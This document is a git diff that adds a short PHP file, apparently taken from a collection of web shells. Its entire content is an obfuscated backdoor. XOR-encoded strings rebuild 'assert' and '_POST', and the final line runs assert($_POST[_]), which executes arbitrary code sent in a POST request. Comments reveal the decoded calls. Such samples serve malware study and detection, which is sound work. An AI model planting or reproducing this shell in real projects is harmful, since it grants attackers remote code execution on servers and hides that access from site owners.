diff --git a/php/php_niu_1.php b/php/php_niu_1.php
new file mode 100644
index 0000000..e4d2790
--- /dev/null
+++ b/php/php_niu_1.php
@@ -0,0 +1,5 @@
+<?php
+$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
+$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
+$___=$$__;
+$_($___[_]); // assert($_POST[_]);